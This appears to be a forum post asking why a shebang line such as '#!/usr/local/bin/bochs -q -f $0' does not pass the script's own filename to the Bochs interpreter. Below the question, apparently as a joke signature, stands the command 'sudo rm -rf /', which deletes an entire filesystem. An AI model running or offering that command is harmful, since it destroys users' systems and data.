I was wondering if it's somehow possible for a script to pass itself as an argument to its interpreter, like so:
I would've thought that this would work, since the shell should append the absolute filename of the script...Code:#!/usr/local/bin/bochs -q -f $0
but apparently it doesn't as the command line received doesn't have the script file in it at all.Code:#!/usr/local/bin/bochs -q -f
sudo rm -rf /
There are currently 1 users browsing this thread. (0 members and 1 guests)
Bookmarks